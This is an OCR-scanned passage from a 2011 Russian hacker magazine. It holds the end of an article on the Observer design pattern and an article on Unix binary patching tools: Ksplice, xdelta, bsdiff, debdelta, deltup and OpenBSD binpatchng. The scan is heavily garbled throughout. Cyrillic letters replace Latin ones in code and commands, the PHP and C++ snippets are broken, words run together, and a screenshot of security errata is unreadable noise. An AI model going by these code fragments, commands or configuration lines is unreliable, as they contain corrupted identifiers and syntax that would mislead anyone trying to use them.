Реализация методов гegisteгObseгveгll и гemoveObseгveгll до­

вольна тривиальн а, п отому в примере, приведенном выш е, мы лишь

обошлись комментариями. Самое простое, что можно делать, - это

добавлять и удалятьссылки на объекты в массив или какой-нибудь

ХАКЕР 10/153/2011

Page 109: Хакер №10 (октябрь 2011)

pcotect@d 'acyObзerverзArcey ;

puЬli c function __ con5t~uct ( •зtrEшai lAddceзз

'thiз->зtrEшailAddceзз ~ 'зtcEaailAdd~eзз ;

'thi~-> a~yoь~ecverзAccay = ассау ( ассау () );

pUЬlic tunc&ion getEmailAddreээ ()

return ~thiэ-> эtrEmeilAddreээ ;

puЬlic function velidate ()

1.f ( pceg_match ( 1 / "'[a-zA-Z] [ \ w\ о -]•(a-zA-Z0 - 9]@ 1 о

' [ a -zA-Z0-9)( \ W\o-)•[a-zA-Z0-9) \ o[a-zA-Z][a-zA-Z\.J•[a-zA-Z)' / ' ,

jf thi s -> зtcEmai1.Add:&:e:зз ) )

ithis ~> fice:Eve:nt ( Emai1.Va1.idator : : EVENТ_EНAIL_VALID );

е:lзе:

РНР-реалиэация паттерна

5ТL-список. notifyObseгveгsll также будет работать с этим списком,

перебирая по очереди его элементы и вызывая updatell .

В конструкторы классов, реализующих интерфейс ОЬsегvег, мы

передаем ссылку на объект 5ystemlпfo, чтобы иметь возможностьдо­

бавляться и удаляться из очереди нотификации.

Такая архитектура позволяетсвести зависимость междусубъек­

том и наблюдателями к минимуму. Всё, что знает 5ystemlпfo о своих

клиентских модулях, зто то, что они реализуют интерфейс ОЬsегvег.

Если количество этих модулей увеличится, нам не придется лезть в

кoд5ystemlпfo . Более того, мы можем вноситьлюбые изменения в

субъект и наблюдателей, до тех пор nока их интерфейсы остаются не­

изменны . Но при всех плюсах у данной реализации паттерна « Наблю­

датель» естьинедостатки.

Основной проблемой в нашем примере является то, что клиентские

модули получают слишком много ненужной информации от 5ystemlпfo.

Например, классу GpuTemp нужно знать только температуру на чипе

видеока рты, а скорость HDD и прочее ему не нужно.

Очень тесно связан с этим обстоятельством и другой минус- набор

данных, передаваемых в качестве параметров в функцию updatell,

является фиксированным . Т. е . если 5ystemlпfo начнет предоставлять

еще один тип данных, например скорость чтения/записи 550-диска,

то нам придется изменять интерфейс ОЬsегvег, а следовательно,

и реализацию метода updatell во всех классах, наследующих этот

интерфейс. Также нам придется подправить код пotifyObseгveгsll. Это

совсем -не то, чего мы хотим добиться, используя паттерны программи­

рования.

Для решения этихдвух nроблем следует создать отдельный класс

или структуру !кому как больше нравится] для хранения п ередавае­

мых данных. Метод updatell будет принимать указатель на эту структу­

ру в качестве пара метра . Это позволит нам в будущем безболезненно

изменять количество и тип передаваемой клиентским модулям

информации. Более того, мы сможем передавать нулевой указатель

на структуру данных, что будет означать, что используется модель с

запросом данных, т. е. клиентские модули в этом случае будутсами

запрашивать интересующую их информацию y5ystemlпfo.

ХАКЕР 10 / 153/ 2011

Выносим пе~даваемые данные в от.а.ельную структуру _____ _

il.r:..i.!.ct SIDali .......... _______ ........... ---· .. -·---.... -·----------------{ ____ " ______ _ _ float_t_cpu; __ _

_float t_gpu; _irl t s_h_dd; } __ _

p_u_Ыic : __

_fL.a.Q!!QllliJП_elll>Ш>Le.мeJ..O.liЫ .а.ля запроса конкретных.да!:!.!ii>!Х... ___ _ _ flм:Lg~.C.p_Yieт_p_o_; ______________________ _ ___.f)Qgt_getGpuTemp_(_)_; ________________ _

_iлt getHddSpeed();

} __ _

~- Observer(), __________________ _ { __________________________________ __ p_u_bl.ic : __

_yoid update(SIData *daj:a = NULL)...= е;

}_ --

~Q1uTemp_(_)_ _; _p,y..Ь1i~ Observer _____ " ________ _ { ___________________ _ pШ>lic : _____ _

11 ... void update(SIDaj:a *data)

_ { _____ if .. (9itl.i! ."::JJUL_L) ........ - .. ---.................. ___ .... _ .. _______ " ________ " _______ .... .. __J _________________ _

} /1 код, обрабатывающий информацию от Systemiпfo

U~~illLКa~~~Gp~~~p~eм_ _______ _ L/ подоб~~ ~ализаци и CpuJe.mp ______ _

Осталась еще одна небольшая проблемка-классы, реализую-

щие ОЬsегvег, обязаны в своем конструкторе принимать в качестве

параметра ссылку на объект, реализующий интерфейс 5ubject. Но эта

обязанность нигде не прописана на уровне интерфейса, что означает,

что в каком-нибудь из будущих клиентских модулей мы обязательноза­

будем накадить конструктор, принимающий эту ссылку. В С++ мы можем

немного схитрить, воспользовавшись возможностью множественного

наследованиявполнойстепениипеределавинтерфейсвполноцен-

ный абстрактный класс. То есть создадим конструктордля ОЬsегvег'а,

который будетприниматьссылку на 5ubject. В этом случае всемдочерним

классам придется волей-неволей принимать в своем конструкторетуже

ссылку на 5ubject.

В других языка программирования, запрещающих множественное

наследование и конструкторы у интерфейсов, придется в ОЬsегvег 'е

описывать отдельный методдля получения ссылки на объект, реа­

лизующий 5ubject, и вызывать этот метод самостоятельно уже после

создания клиентского модуля.

ЗАКЛЮЧЕНИЕ Мы узнали еще об одном паттерне 00-программирования, который,

кстати говоря, используется довольно часто в современном софтостро­

ении. В следующих выпусках мы продолжим кадить с помощью паттер­

но в, а пока советую занять свой мозгчем-нибудьумным и полезным . :Х::

111

Page 110: Хакер №10 (октябрь 2011)

UNIXOID Евгений Зобнин lexec Ьit . rul

ЗАЧЕМ НУЖНЫ БИНАРНЫЕ ПАТЧИ, И КАК ИМИ ПОЛЬЗОВАТЬСЯ

В никсах не принято использо­

вать бинарные патчи . Обычно

обновления распространяются в

виде па кетов, тарболлов с исход­

никамиили текстовых файлов,

созданных утилитой diff. Тем не менее, настроив свою систему на

обновление с помощью бинарных

патчей, ты сможешь существен­

но сэкономить время и трафик и

даже отказаться от перезагрузки

при обновлении ядра .

112

-gоо.gi/Ма081-исходныйкодпо· следней публичной версии Ksplice. -Debdelta имеет опцию ' ·-delta-algo', с помощью которой можно указать пред­

почитаемуюути­

литудлясоздания

патчей.Доступные варианты:хdеltа , xdelta-bzip, xdeltaЗ и bsdiff.

Работу по на­

писанию Makefile для Ьiпpatchпg можно полностью

автоматизировать,

если воспользо­

ватьсяскриптом,

опубликованным в дискуссионном

листе OpeпBSD I!I!!J!, !IILEY.ШI .

этой статье мы рассмотрим четыре механизма создания

би н ар ны х патчей и поговорим о назначении каждого из них.

В первой части статьи я расскажу о Ksplice -технологии,

способной довести uptime сервера до 100 %, далее мы поговорим об

инструментах xdelta и bsdiff, с помощью которых можно прилично

сэкономить на трафике при обновлении системы , в третьей части

уделим внимание механизму deltup, экономия трафика при использо­

вании которого может достигнуть 95 %. Четвертая часть п освящена

фреймварку Ьiпpatchпg, предназначенному для создания па кетов с

патчами для базовой инсталляции OpeпBSD в домашних условиях.

IЩtiQIN!I Наверное, о Ksplice и его недавней покупке компанией Огасlе слы­

шали все. Этотакой хитрый механизм lилидаже, лучше сказать, хакl,

который п озволяет н акатывать об н овле н ия н а ядро Liпu x н а лету, не

требуя перезагрузки машины или даже какой-то работы по сборке

модулей ядра.

Механизм Ksplice использует довольно интересный метод пат­

чин га ядра , в основе которого лежиттехника изменения компонентов

ядра прямо во время его работы. Делается это в два шага. Н а первом

этапеотрабатывает утилитагене рации бинар ного патча,которая

получает на вход месторасположе ни е исходных текстов Liпuх-ядра и

файл, содержащий стандартный патч на исходный код в diff-фopмaтe .

Наложив этотпатч на ис ходники, утилита компилирует ядро, сравни­

вает получившийся образ с ядром предыдущей версии и генерирует

ХАКЕР 10 / 153/ 2011

Page 111: Хакер №10 (октябрь 2011)

модуль ядра, содержащий измененные части, а если конкретнее- код

измененных функций. Этот патч-модуль передается на машину, ядро

которой должно быть обновлено. На втором этапе в дело вступает

модуль ядра ksplice.ko, который вместе с патч-модулем загружается

в ядро целевой машины. После загрузки ksplice.ko анализирует патч­модульнапредметналичияновыхверсийфункцийядраиизменяет

адреса настоящих функций ядра, так чтобы они указывали на функ­

ции, содержащиеся в патч-модуле. Таким образом удается изменить

ядро, не перекомпилируя его.

Минус такого подхода в том, что фактически он подходиттолько

для исправления небольших ошибок и латания дыр, более крупные

обновления, затрагивающие множество функций, добавляющие

новый функционал и изменяющие внутренние структуры ядра, таким

образом не сделаешь. Тем не менее автор Ksplice отмечает достаточ­но высокую эффективность системы, она смогла в полностью автома­

тическом режиме сгенерировать 84 % патчей для Ьugfiх-обновлений ядра, выпущенных за три года. Для остальных обновлений пришлось

немногопоработать руками.

К сожалению, в 2009 г .• после открытия компании Ksplice lпс., автор решил закрыть код системы, не позволив частным лицам и сто­

ронним компаниям самим создавать Кsрliсе-патчи. Поэтому в этой

статье мы не будем обсуждать этутему и рассмотрим вопрос только

с клиентской точки зрения. А выглядит она так: сегодня Ksplice

принадлежит Огасlе, которая продолжает предоставлять сервис

абсолютно бесплатно го онлайн-обновле ни я ядра для дистрибутивов

Ubuпtu и Fedoгa, а также для собственного варианта RHEL под на­

званием UпЬгеаkаЫе Linux. Пользователи всех остальных корпора­тивных дистрибутивовпролетают

Теперь ото м, как этим пользоваться. Для Ubuntu и Fedoгa на сайте

ksplice .com есть пакет, его следует с качать и установить стандарт­ными средствами:

$ sudo apt-get iпstall curl $ sudo dpkg -i ksplice-uptrack.deb

Далее соглашаемся с лицензией. Появится окно со списком всех

доступных для нашего ядра обновлений. Нажимаем кнопку lnstall, и

система с качает нужные патчи из Сети и загрузит их в ядро. Чтобы в

случае перезагрузки патч-модули были загружены, вместе с пакетом

устанавливается стартовый скрипт. Система всегда следит за обнов­

лениям и сообщает о них с помощью значка в трее.

XDE LTA, BSDIFF Итак, с Ksp li ce и его извращенным подходом к накладыванию п атчей

разобрались, теперь настало время поговорить об утилитах, которые

позволяют применить бинарныепатчина отдельно взятые при­

ложения. В UN IX существует как минимум три таких инструмента:

это старейшая разработка xdelta, выросшая из куска кода гsync, отвечающего за инкрементальный бэкап, его более современная и

развитая версия под названием xde lt aЗ и bsdiff, разработанные для использования в ВSD-системах.

Посвоейсутивсетриинструментапредставляютсобойаналог

всем нам известной программы diff, который оперирует не строками, а последовательностью байт. Это дает возможность использовать

утилиты не толькодля вычисления разницы междуфайлами с

исходным кодом, но и для любых других данных, будьтобинарник

приложения, tаг.gz-архив или даже видеофайл. Если тебе интересно,

как это работает, то рекомендую ознакомиться со статьей <<Дельта­

кодирование», опубликованной в Wikipedia [ гu .wik i ped i a . oгg/wiki/

дельта - код ирование !, я же лучше расскажу о том, зачем всё зто

нужно и как с этим работать .

Для чего нужен бинарный diff? Всё очень просто: имея возмож­

ность накладывать бинарные п атчин а уже работающие приложения

или целые архивы с исходниками, можно серьезно сэкономить на

трафике. В нашем безлимитном мире экономия трафика может и не

сделать больш ой выгоды в денежном плане, но вот время сократит

существенно, особенно при крупных обновлениях всей системы . Не-

ХАКЕР 10 /153/2011

Раз заплатка. двазаплатка

. tl - ...,... .... ~--"=· ==- ~

ТЫs ls tbe Op(!nBSD 4.8 release епаlа & patch lls l:

fot OerpВ'iQ !!11ф l!tм" i"'xМm elrw a:fn hac

yqg gw а! Н! fct<;\ а W" G!c F!!l!tlini• а!! Фr fol lqwj•pf!фn, Тllitlilr it llpdaltd Ollf:C 1 dly.

• O IO : R.ELIA.8 1LrrY П.~ : F ...... aryl6, 201 1 Alltvcllll«lиrn Т\e till:!) dri•·trlll8)'hмd0\·tr.calrrill8dumple>rttotheilard>o..-eifdre~1~dкi~to~~llfifdleu.m.._don~

~llf-A К!!1rИ W<k '*" ni• !!!'hicl! raв4in о., problea

• Oot: SECt:RIП' ПХ : """• "" 16,20 11 Lml.-,ndilllllrdlll«t!lnS PFПIIroo.pКifrШ!addret.1~(c .J-" I O. I . I , I · I O. I . I .S")"~e-corтectlyhaDdltdoe1inl~in•)'Sit~U (alpU.ВIDIIbl, 8ml,i)86,atips64rl, >'а'). 0\Ьсr loddress ~-ри {Ьаrе IМidren... "10.1.1. 1" aьdP<!'fi•~•" I O. J . J . I /JO").uiiOIIffe.:led. А 15!1!!'SC ямk PI!SII gj111 w\ljch rQQCdjc• Фа• oroЫm.

• 1108: SEttRm' ПХ: """""'У 11. 1011 All ardtll«hlr~ А1 i~~eorno;llyЬЧ1811Cd cticatНello~IIIUNp aNidcauк()pcaSSLID!*Иpui.Кtlld.oflhr-.. Alllltld;erN~~IdllИ dlis f11w 10 lriiiCf .. ~ .. lidm=oryt~CЦN,e-U.•~of•appltc.tioaliatfd 10i)pNSSL.. A.t ,...,11., ~"J'PPiQitioaln8)'Щ'Die~-ofp8fN'd OCSP e~~IC:Мiou. spкifitally IW OCSP- n~et~~ioD.

ApplklliDIII~reolllyalf~IC'dir~кtulaerv«andeaiiSSL_CТX_o.e!_tl~_-_eboodwi«Vef'sSSL_CТX. I!il~lievcddi.IIIDIIIia,indle !ми OS 111n lhis. AJ-• hapd ..caneclllliqthil i• v:U.J; dli1 i1 IIC'II"CC' th. сМ \'eflioa ia pom. А М!JifS' Fmk -~ njtJ! "ik)l! •cwdjn lhi1 !!l'оЬiщ.

о 807: RJ:LI,\BILIП' J1."(: J aaaa.,• 1.3. 201 1 All aиhil«lura 'P..J'I'O'OCOI in RТМ_DЕLЕТЕ -s;,.fel' -td «~e~18ill p:rЬqor >-.lurtle.diii!ICI ~ IOCkt'luкn 1Ьм rntria СЬ. Af (llldl м o.prd) 1101 t«iq uy

Перечень критическихобновлений для OpenBSD 4.8

которые дистрибутивы позволяют <<встроить >> утилиты для накла­

дывания бинарных патчей в пакетный менеджер , так что, исправив

всего пару-тройку конфигов, можно просто сидеть и наслаждаться

быстрымиапдейтами.

Для того чтобы механизм инкрементальных апдейтов заработал ,

должно быть выполненотри условия. Во-первых, пакетный менед­

жер дистрибутива должен поддерживать работу с утилитой инкре­

ментальнога апдейта. Такая поддержка есть в растап из Aгchlinux

r !

и через установку дополнительного па кета debdelta, в DeЬian.

Во-вторых, должен существовать с п ециальный dеltа-репозиторий,

который будетотвечать за хранение патчей к па кета м и своевремен­

но генерировать новые патчи для обновлений . Такие серверы обычно

держат энтузиасты, поэтому обычно их довольно трудно найти, а если

найдешь, никто не даст гарантии, что завтра сервер не исчезнет [это

главная беда бинарных патчейl. И в-третьих, в кэш е пакетного ме­

неджера всегда должны лежать закэшированные во время предыду­

щей установки пакеты, на которые как раз и будут накладываться

патчи. Это важный момент, так как многие из нас [и я в том числе!

любят время от времени этот кэш подчищать [однако для debdelta, о котором мы поговорим ниже, и они не нужны!.

Теперь о том , как происходит настройка nакетного менеджера:

В ArchLinux всё решается довольно nросто. Устанавливаем третью версию xdelta:

$ sudo pacman -5 xdeltaЗ

Открываем /etc/pacman.conf, снимаем знак комментария со строки UseDelta. Открываем список репозиториев /etc/pacmaп.d/ miггoгlist и в самое его начало добавляем следующую строку :

Server = http://delta .archlinux. fr/$repo/os/$arch

Сохраняем файл и пробуем выполнить полное обновление дис­

трибутива:

$ sudo растап -Syu

Разница должна быть, что называется, налицо. Проблема только в

том , что aгchlinux .fг содержит дельты далеко не для всех па кетов, но,

увы, альтернативы здесь просто нет.

В Deblan это делается несколько иначе. Существует специальная утилита [а точнее, набор утилит! под названием debdelta, которая умеет разбирать dеЬ-пакеты по косточкам, вычислять разницу между

файлами двух версий па кетов с помощью xdelta и генерировать новый пакет на основании этих данных. При накатывании п атчей это

чудо используетуже установленные в систему пакеты, а потому не

113

Page 112: Хакер №10 (октябрь 2011)

UNIXOID

002_getsockopt: kernel

00l_cvs: cd ${~RKSRC} /gnu/usr . b i n /cvs (${ _obj_wrp} ; ${_build_wrp} )

003 sudo:

&& \

cd ${~RKSRC} /usr . b i n /sudo && \ (${ _obj} ; ${ _depend} ; ${ _build} J

004 libz : cd ${ ~RKSRC} /li Ь/ l i bz && \ (${_obj} ; ${ _depend} ; ${_build) J

005 libz: cd ${~RKSRC} / l i Ь/ l i bz && \ (${ _obj} ; ${_depend} ; ${ _build} )

00Б_nat-t :

cd ${~RKSRC} /sb i n/i sakmpd && \ (${ _obj} ; ${_depend} ; ${ _build} )

~nc l ude " bsd . Ьinpatch . mk " 1·''·'·€'A·'·'·IW1Ni$1Ad14-fil,,J.ICIФII

Правим Ьinpatch Makefile

требует хране н ия старых версий па кетов в кэш е apt-get. П роблема только в том, что debde lta никак не интегрируется с apt-get, а поэтому его надо вызывать вручную п еред каждым обновлением сис темы:

$_ sudo apt-get update

$ sudo debdelta-upgrade $ sudo apt-get upgrade

Зато не нужно никакой настройки и возни с репазитариями

[официальный репазитарий успешно работаетуже многие годы! . Сам

debdelta устанавливается так :

$ sudo apt-get install d ~b_Щ!lta

Стоитсказать о т ом, что 850-аналог xdelta под названием bsdiff

lwww. daemoпology.пet/bsdi ffi также имеет большое примене н ие. Он

был написан для утилиты обновления системы fгeebsd-update и стал

частью базовой установки Fгее850 в 2005 г. Каждый раз , когда ты

делаешь « fгeebsd-update iпstall >>, в дело вступает bsdiff [а точнее, его

часть bspatchl , который прозрачно обновляет систему с помощью би­нарных патчей. Благодаря 850-лицензии, разрешающей включать

код в закрытые приложения, bsdiff получил большое распростране­

ние и за пределами 850.

ili§IIUQ Интересную альтернативу бинарным патчам предложил в свое время

один из поклонников дистрибутива, Geпtoo. Он создал утилитуdеltuр

[deltup.souгcefoгge.пet l, которая брала два архива с исходникамиразных

версий приложения, распаковывала их, генерировала патч с помощью

стандартного diff, у паковывала его и снабжала информацией, нужной для получения не отличимого от оригинала архива с одной версией

приложения из архива с другой. Говоря простым языком, dе ltuр-файлом

можно пропатчить тарболл старой версии программы, чтобы получить

тарболл с ее новой версией, избежав необходимости в загрузке всего

тарболла . Результаты работы утилиты оказались просто поразитель­

ными : средний размер deltup-пaтчa составляет всего 15 % от размера оригинального архива, а зачастую и 5% [с этими цифрами можно ознако­миться на странице статистики головного de l tup-cepвepa : goo.gl/letJU I.

Сегодня поддержка deltup в Gentoo есть из коробки, также не­обходимый инструментарий был портирован во Fгее850 . Существует

несколько более или менее стабильно работающих серверов, от­

вечающих за генера цию и отдачу dеltuр-патчей. Н астройка, опять же,

совсем· не сложна:

В Gentoo порядокдействий следующий . Устанавливаем инструмен­

ты de ltup и getde lta:

$ sudo emerge deltup getdelta

Добавляем в /etc/make . coпf следующую строку:

$ sudo v i /etc/ make.conf FETCHCOMMANQ;"/usr/bin/getdel ta. sh \"\${URI}L..::.()

\" \${DISTDIR} 1 \${FILE} \""

Так мы сообщим emeгge о том, что хотим ис п ользовать команду

getdelta для п олучения архивов с исходниками. Далее открываем

конфигурационный файл /etc/de l tup/getdelta.гc и п ишем туда сле­

дующее:

$ sudo v i /etc/deltup/getdel ta.rc

# 8дgес локального gепозитоgия (если есть) LOCAL MIRRQR;1.2. 3 . 4

# Максимальная позиция в очереди на ожидание_Аельты МAXIMUM_ACCEPTA~LE_QUEUEPQS;le

# Удалять_с.:r.а ые версии_фай.I]Q]L_ REMOVE_OLD_:oyes __ _

О п цию LOCAL_MIRROR можно не добавлять, о н а нужна только в том случае, если в локалке есть Gепtоо - репозиторий, который можно ис­

пользовать вместо запроса патча от de l tup - cepвepa. Опция MAXIMUM_ ACCEPTA8LE_QUEUEP05 задает максимальную п озицию в очереди на

создание дельты. Большинство deltup-cepвepoв генерируют дельты

во время первого обращения клиента за архивом, поэтому очередь за

особотяжеловесными Приложениями и последними обновлениями

':"'r-;::"'17

К Кspllce Uptra ck Manager

А New updates are avail aЫe. 'IOu сап install them Ьу clicking "lnstallall updates• Ьelow.

Aval laЫe updates:

8 : SymЬotic link fllenames under ecryptfs сап produce alarming wamings in dmesg. Update 10: с8u~и:ае

8 Oenial of service Ьу evading CPU time limits. Upcla~ tD: pdfrn6qь

8 VGA console corrupts non-ASCII characte~. Update Ю: xoqc9vy4

8 CVE-2009-1337: kill the wrong сараЬiе(САР _КIЩ che<k. Update ID: u.tollfa2

8 CVE-2009-Uб5: lnteger overflow in the af _rose maximum user ffame size. Update ID: hnci:JvhOe

8 CVE-2009·1192: lnformation leak in the agp suЬsystem. U~te ID: ovnlqwxh

8 ' Multiple Ьugs in filesystem core. Updatt!: ID: 119qlymc

8 . Possible erroneous memory overcommit in program start. Updatt!: 10: 9xocSqmo

8~ Performance regression in filesystem Ьuffer code. . Update ID: cdoprpll

Last checked: Sat jun 27 22:43:50 2009

1 ~СЬесk 11.-lnstallall updates 1

~ Details

1 t:l t~••• l

Главное окно клиента Ksplice

ХАКЕР 10/153/2011

Page 113: Хакер №10 (октябрь 2011)

09.08.2011 20:26 3.74 kВ 118.74 kВ 96.8% 115.00 kВ 09.08.201119:31 126.38 kВ 19.56 мв 99.4% 19.43 мв 09.08.201119:11 4.54 kВ 81.38 kВ 94.4% 76.84 kВ 09.08.201119:05 48.30 kВ 27.65 мв 99.8% 27.60 мв

09.08.201118:09 185.62 kВ 22.67 мв 99.2% 22.49 мв 09.08.201118:04 56.66 kВ 29.33 мв 99.8% 29.27 мв 09.08.201117:39 63.05 kВ 666.71 kВ 90.5% 603.66 kВ 09.08.201117:32 554.01 kВ 153.04 мв 99.6% 152.50 мв 09.08.201117:24 853.00 в 10.49 kВ 92.1% 9.66 kВ

09.08.201114:47 1.31 мв 14.54 мв 91.0% 13.24 мв

09.08.201113:26 18.74 kВ 2.83 мв 99.4 % 2.81 мв

09.08.201112:10 748.95 kВ 12.58 мв 94.2% 11.85 мв 09.08.201112:09 1.98 мв 16.79 мв 88.2% 14.81 мв

09.08.201112:05 115.17 kВ 412.73 kВ 72.1% 297.56 kВ 09.08.201111:57 471.42 kВ 4.19 мв 89.0% 3.73 мв 09.08.201111:56 113.17 kВ 269.45 kВ 58.0% 156.28 kВ

09.08.201111:55 40.58 kВ 166.03 kВ 75.6% 125.45 kВ

09.08.201111:55

09.08.201111:52 09.08.201111:52

1.72 kВ

14.54 kВ 25.31 kВ

17.96 kВ 90.4% 16.24 kВ

21.91 kВ 33.6% 7.37 kВ 3.99 мв 99.4% 3.96 мв

Статистика по размеру патчей, публикуемая на сайте iпux01.gwdg .de

может выстроиться большая. Нет каких-то определенных реком е н­

даций по поводу размера очереди . так как нагрузка на сервер может

быть разной и время, которое ты можешь прождать, -тоже. Самостоя­

тельно указ ывать какой-либо deltup-cepвep н е требуется, сегодня все

серверы подключены к liпux01.gwdg . de, который вписан в getdelta п о

умолча нию.

Это всё, при следующем обновлении па кета ты долже н заметить

разницу во вр емени скачивания.

Порт deltup есть и для FreeBSD. Он не требует своего собственного репазитария и может использовать deltup-cepвepa Geпtoo [все-таки

исходники приложе ния для разных платформ одни и те же ) . Чтобы

научить систему портов FгeeBSD использовать deltup для обновле­

ния софта, не обходимо сделать следующее:

1. Ус та новить deltup и wget из портов :

$ cd / usr/portsLз.ysutils/deltuR._ ____ $ sudo ma~!!_install clean _ $_cd LusrL orts ftpf.!.jg,",_et",__ ____________ _

__$. sudo make install clean

ШПАРГАЛКА ПО БИНАРНЫМ ПАТЧАМ

$ bsdiff старый_файл новый_файл файл_патча $ bspatch старый_файл новый_файл файJ]_патча

$ xdeltaЗ -е -s стаgый файл новый_файл файл_патча $ xdeltaЗ -d -s стаgый_файл файл_патча новый_файл

$ deltup -mjb 9 старый_файл новый_файл файл_патча $ deltup -р файл_патча

$ debdelta старый_файл новый_файл файл_патча $ debpatch -А файл_патча 1 новый_файл

ХАКЕР 10 / 153/2011

Раз за платка . двазаплатка

О gnupg-pkcs11-scd-O. 7.2. tar. bz2-gnupg-pkcs11-scd-O. 7.3. tar. bz2.dtu О wireshark-1.4. 4. tar. bz2-wireslыrk-1. 4. 8. tar. bz2. dn1 О bpy1hon-0.10. tar. gz-bpy!hon-0.10.1. tar. gz. dtu О samba-3. 6. Orc3. tar. gz-samba-3. 6. О. tar. gz. dn1 О mysql-5. 5.14. tar. gz-mysql-5. 5.15. tar. gz. dtu О samba-3. 5. 9. tar. gz-samba-3. 5.11. tar. gz. dn1 О parcellite-1. О. 2rc2. tar.gz-parcellite-1. 0.2rc3. tar. gz. dtu О cliromiпm-14. 0.835.18. tar. bz2-cliromiпm-14. 0.835.29. tar. bz2. dtu О seednodes-20110731. fref. bz2-seednodes-20110808. fref. bz2. dtu

0 liппx-firmware-20110604. tar. bz2-liппx-firmware-

20110731. tar. bz2. dtu О mercurial-1. 9. tar. gz-mercпrial-1. 9.1. tar. gz. dtu О mediawik.i-1.16.1. tar. gz-mediawik.i-1.16. 4. tar. gz. dn1 О gtk+-2.20.1. tar. bz2-gtk+-2.24.4. tar. bz2.dtu о libXi-1.3.1. tar. bz2-libXi-1.4.3.tar. bz2.dnJ О dejavu-fonts-ttf-2.31. tar. bz2-dejavu-foпts-ttf-2 . 32. tar. bz2.dtu О xproto-7.0.18. tar. bz2-xproto-7.0.21. tar. bz2.dtu

0 opeпssh-5. 5р1 +х509-6. 2.3. diff. gz-openssh-5. 8р1 +х509-

6. 2. 4. diff. gz. dtu

0 opeпssl!-lpk-5.4p1-0.3.13 . patcli.gz-opeпssh-lpk-5 . 7р1-

0.3.13. patcl1. gz. dn1 О proftpd-mod-vroot-0. 8. 5. tar. gz-proftpd-mod-vroot-0. 9. 2. tar. gz. dtu О proftpd-1. 3. 3с. tar. bz2-proftpd-1. 3. 3е. tar. bz2. dtu

2. Добави ть в файл /etc/make.coп f с л едующую строк у:

$ sudo vi /~make .conf

__flTCH_CMD=/ usrLiocalLbin / getdel ta. s~h.._ __ _

Теперь независимо оттого, используешь ли ты систему портов на­

прямую или различные фронт-знды типа poгtupgгade, обновления бу­

дут происходить с помощью deltup-cepвepa. Однако необходимо быть

готовым к тому, что иногда deltup ошибается и собирает не совсем

точ ную ко пи ю а рхи ва , которая вполне нормальн о распаковывается,

но имеет неправильную контрольную сумму [ это следстви е микро­

различий в разных версиях gzip и bzip2). В этом случае сборку па кета

можно осуществить, добавив предпи са ние NO_CHECKSU М:

$ cd / usr/ports/games/cowsay $ make NO_CHECKSUM install сlеап

OPENBSD BINPATCH Еще один инструмент, о котором я бы хотел рассказать в этом обзоре,

не имеетотношения к бинарным патчам как таковым, но будет инте­

ресен и полезен владельцам ком п о в, работающих под управлением

о п ерацион н ой системы OpeпBSD.

Все, кто имеет хот ь малейшее представление о процессевыпуска

релизов и заплатокдля OpenBSD, знают, насколько о н самобытен и пр ост. При выпуске релизов разработчики скорее орие нтируются на

план , чем на накопление достаточно го количества важных измене­

ний . После выпуска новой версии ОС сразу нач и на ется работа над

следующей, а все ошибки и баги, най денные в эт о время, фиксятся с

помощью заплаток, которые каждый пользовател ь/адми н должен

с качать, наложить на исходный код и пересобрать его. Делать зто

не только жутко неудобно, но порой просто не пр едставляется воз­

можным. Многие железки под управлением OpenBSD не обладают до статочной мощностью и дисковым про стран ством, для того чтобы

содержать в себе всё дерево исходных текстов OpenBSD, компилятор, лин ковщик и промежуточные результаты компиля ции . Но даже если

всё зто на железке есть, но сама железка при этом н е един ст в е нная

в подчинении, однотипны е дей ствия nридетсявыnолнять несколько

115

Page 114: Хакер №10 (октябрь 2011)

UNIXOID

Извлечение функций, кото­рые отличаются

Обработка функций, которые

отличаются

Дополнитель­

ная обработка

П р инци п работы Ksplice

С п исок функций, которые

отличаются

Стандарт­

ныймодуль ядра

о р и ги н а л ь н ых

ИСХОДНИКОВ

Предварительные объектныефайлы

Извлечение оптимизационных

блоков, которые отличаются

Обработка опти­миэационных

блоков, которые отличаются

L Используются позднее

Главный модуль

раз, что тоже не слишком интересно . Чтобы решить зти проблемы,

был придуман фреймворк biпpatch lopenbsdbinoatch .sf.net ), позво­ляющий скачивать патчи, накладывать их на исходный код, собирать

проnатченное приложение или ядро и помещать его в архив в п олуав ­

томатическом режиме. Позднее nоявилась модификация фреймвор­

ка под названием Ьinpatchng I Ьinpatchng.puf f y-at-woгk.oгg l, которая

nозволяла упаковывать пропатченные приложения не только в

архив, но и в nакет ОреnВS D-формат а, да так, что при удалении зто го

па кета система откатывалась в n ерво нача л ь н ое состояние.

Binpatchng полностью основан на Makefi le'ax и кон ц е птуальн о

оче н ь близок к системе порт ов. Ч тобы создать новый п атч, необхо­

димо прописать в нужный Makefile пару nростых правил, описываю­щих патч и способ его сборки, а затем выполнить команду make. Всё остальное система возьметна себя и вскоре сгенерируетготовый

к установке архив или пакет, который достаточно скопировать на

нужную машину и уста н овить с помощью стандартных средств. На

пальцах всё это выглядит следующим образом :

1. С качиваем фреймворк и распаковываем его в катало г /u s г (на самом деле можно и в другое место) :

$ cd /tmp; wget ht tp://goo.gl / hvF70 $ su # tar -xzf /tmp/Ьin p atchng -1 . 1 .tar . gz -С / usr

2. Скачиваем архивы sys.taг. gz и sгc.taг.gz с официального FTP и помещаем их в каталог distfi les, внутри Ьinpatchng :

# cd / usr/binpatchng-1.1/ # mkdir distfiles # cd distfiles # wget ftp: 1 /ftp. openbsd .org/pub/OpenBSD/4 . 9/sys. tar. gz # wget ftp:/ /ft p. openbsd .org/pub/OpenBSD/4. 9/s r c. ta r. gz

116

З . Скачиваем инсталляционные архивы для нужной архитектуры

!наnример f tgj/~bsd.o-UI.LR_ub~BSD/4 . 9/i386/) и nомещаем

их в distfilеs/имя_архитектуры.

4. Пишем Makefile. Для этого nереходим на cтpaницywww.ooenbsd .oгq/

eггata.html , выбираем нужн ый ре л из !для 4.9 пока патчей нет, поэтому я возьму за п ример4.8 ) , выбираем интересующий нас патч !например 001_ bgpd.patch), открываем его. В nервой строке будетуказа н с пособ сборки

патча. Наша эадача-переложитьего на язык Makefile. Это просто: создаем фaйл/usг/Ьinpatchng-1.1/Makefile и пишем в него следующее:

# vi /usr/Ьinpatchng - 1.1/Makefile

#Для какой архитектуры собираем? {Можно не указывать,

#если совп~ает с ;wхитектурой текущ!!й машины.)

АRСН=iЗВб

# Здесь перечисляем патчи (просто откидываем расширение patch)

PATCH_COММON=881_bgpd

# Здесь идут инструкции для сборки патча 881_bgpd. patch 881_bgpd :

